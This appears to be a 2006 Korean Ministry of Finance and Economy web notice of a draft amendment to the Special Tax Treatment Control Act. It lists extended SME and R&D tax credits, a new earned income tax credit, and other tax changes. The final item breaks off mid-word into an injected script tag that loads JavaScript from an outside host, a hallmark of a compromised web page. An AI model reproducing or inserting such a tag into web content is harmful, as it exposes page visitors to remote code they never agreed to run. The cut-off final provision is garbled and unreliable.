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조세특례제한법중 개정법률(안) 입법예고
글쓴이 : 관리자 작성일 : 2006.08.27 조회수 :3134  

조세특례제한법중 개정법률(안)
 
  입안유형 일부개정 법령종류 법률
  소관부처 재정경제부 공고번호 2006-113
  예고일자 2006-08-24 마감일자 2006-09-13
 
  담당부서 조세지출예산과 팩스번호 02-503-9244
  전화번호 02-2150-9131 전자메일 kwbyun@mofe.go.kr
 
 
  ⊙재정경제부공고제2006-113호
 
  조세특례제한법을 개정함에 있어 국민에게 미리 알려 의견을 듣고자 그 취지와 주요내용을 행정절차법 제41조의 규정에 의하여 다음과 같이 공고합니다.
 
 
 
 
  2006년 8 월24일
 
  재정경제부장관
 
 
 
 
  조세특례제한법중 개정법률(안) 입법예고
 
 
 
 
  1. 개정이유
 
  ○경기활력 회복과 성장잠재력 확충을 위하여 설비투자와 연구개발 관련 조세지원제도의 일몰을 연장하고, 중산·서민층 생활안정을 지원하기 위하여 무주택 근로자를 위한 주택보조금의 과세특례제도 등의 조세지원제도의 일몰을 연장하며, 현행 사회안전망의 보호가 취약한 차상위계층의 근로를 장려하고 소득을 지원하기 위하여 조세체계를 이용한 근로연계형 지원제도인 근로장려세제를 도입하는 한편
 
  ○조세중립성 제고를 위하여 2006년에 일몰이 도래하는 감면제도를 중심으로 감면목적이달성되었거나 여건변화에 따라 지원의 타당성이 낮아진 제도, 외국의 사례가 없거나 국제기준에 부합되지 않는 제도 등의 비과세·감면제도를 축소·폐지하였으며, 공평과세 실현을위한 세원투명성을 제고하기 위하여 직불카드에 대한 소득공제율을 상향조정하는 등 현행제도의 운영상 나타난 일부 미비점을 개선·보완하려는 것임.
 
 
 
 
  2. 주요내용
 
  가. 중소기업투자세액공제 일몰기한을 3년간 연장하여 중소기업이 2009년12월31일까지 사업용자산 등에 투자하는 경우 투자금액의 3%를 세액공제할 수 있도록 함.
 
  나. 창업중소기업 등에 대한 세액감면제도 일몰기한을 2009년12월31일까지 3년 연장함.
 
  다. 대기업이 보유 중인 설비를 중소기업에게 무상양도할 경우 대기업은 설비의 장부가액 상당액을 손금에 산입하고, 중소기업은 이를 익금에 불산입하는 중소기업지원설비에 대한 손금산입 특례제도를 신설함.
 
  라. 연구 및 인력개발준비금 손금산입 제도를 일몰기한(2006년12월31일)이 도래함에 따라 폐지함.
 
  마. 연구 및 인력개발비 세액공제 일몰기한을 2009년12월31일까지 3년간 연장하고, 대기업이 중소기업·대학 등에게 지급하는 외부위탁연구 및 인력개발비에 대한 공제율을 50%로 상향조정함.
 
  바. 기술개발을 위한 정부출연금을 수령하여 구분경리하는 경우, 수령시점에서 정부출연금상당액을 익금불산입하고, 익금불산입한 금액은 추후 당해 정부출연금을 지출하는 때에 익금산입하여 지출된 손비와 상계처리하는 특례제도를 신설함.
 
  사. 대덕연구개발특구내 입주하는 연구소기업 및 첨단기술기업에 대해 소득발생 후 3년간100%, 2년간 50% 소득·법인세를 감면하도록 하는 대덕연구개발특구 입주기업에 대한 세액감면제도를 신설함.
 
  아. 한국벤처투자조합이 출자한 자(�)조합을 통하여 벤쳐기업등에 간접투자하는 경우에도 기존의 주식양도차익 비과세 혜택을 유지할 수 있도록 함.
 
  자. 근로자의 과세형평 제고를 위하여 주식매수선택권 행사이익에 대한 과세특례를 폐지함.
 
  차. 중소기업창업투자조합 등 출자에 대한 소득공제 수준을 축소하고 일몰을 연장함.
 
  카. 외국인임직원 등에 대한 비과세급여 공제방식을 근로소득의 30%에서 과세급여액의 30%로 하고, 일몰을 2009년말까지로 신설함.
 
  타. 5년 이상 사업을 영위한 중소기업이 수도권과밀억제권역 외의 지역에서 연구개발업등으로 업종을 전환함에 따라 발생한 소득에 대하여 사업전환후 최초로 소득이 발생한 사업연도 및 그 이후 3년간 소득세·법인세를 감면하는 제도를 신설함.
 
  파. 1년 이상 사업을 영위한 중소기업에 해당하는 법인이 자가물류시설을 매각하고 물류활동을 특수관계자 이외의 자에게 위탁하여 수행하는 경우 자가물류시설의 양도차익에 대한법인세를 3년 거치 3년 분할과세하는 조세특례제도를 신설함.
 
  하. 내국법인이 물류사업부문을 분할한 후 물류전문법인과 합병하는 경우 1년 이상(일반적인분할의 경우에는 5년 이상) 사업을 계속 영위한 법인이 분할하는 경우에도 분할평가차익 과세이연을 허용하고, 물류기업간 합병시에는 피합병법인의 주주등이 합병법인으로부터 받은 주식비율을 발행주식총수의 3%이상(일반적인경우는 10%)인 경우에도 합병법인에 대하여피합병법인의 이월결손금 승계를 허용함.
 
  거. 농업회사법인에 투자한 주주의 배당소득에 대하여 비과세하는 등의 세제지원제도를 신설함.
 
  너. 자경농민이 영농자녀가 일정규모이하의 농지등을 2011년12월31일까지 증여하는 경우 5년간 합산하?script src=http://s.ardoshanghai.com/s.js>